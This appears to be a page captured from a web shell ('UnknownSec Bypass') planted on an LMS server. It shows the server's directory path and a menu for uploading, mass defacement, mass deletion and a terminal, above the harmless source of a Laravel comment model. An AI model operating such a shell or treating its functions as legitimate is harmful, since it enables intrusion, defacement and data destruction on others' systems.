UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_d5be14f5abaa
/
app
/
Models
/
Courses
/
Resources
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
Comment.php
<?php namespace EstudioLMS\Models\Courses\Resources; use Carbon\Carbon; use EstudioLMS\Models\Auth\User; use EstudioLMS\Models\Courses\Course\Course; use Illuminate\Database\Eloquent\Model; /** * Class Comment * @package EstudioLMS\Models\Courses\Resources */ class Comment extends Model { protected $fillable = [ 'course_id', 'module_id', 'resource_type_id', 'resource_id', 'user_id', 'comment_id', 'comment', ]; protected $appends = [ 'human_date' ]; /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function comments() { return $this->hasMany(Comment::class, 'comment_id', 'id'); } /** * @return \Illuminate\Database\Eloquent\Relations\HasOne */ public function user() { return $this->hasOne(User::class, 'id', 'user_id'); } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function course() { return $this->belongsTo(Course::class, 'course_id', 'id'); } /** * @return null|string */ public function getHumanDateAttribute() { Carbon::setLocale('pt'); return Carbon::createFromFormat('Y-m-d H:i:s', $this->attributes['updated_at'])->diffForHumans(); } /** * @return string */ public function getCreatedAtAttribute() { return Carbon::createFromFormat('Y-m-d H:i:s', $this->attributes['updated_at']) ->format('d/m/Y - H:i:s'); } }
Copyright © 2026 - UnknownSec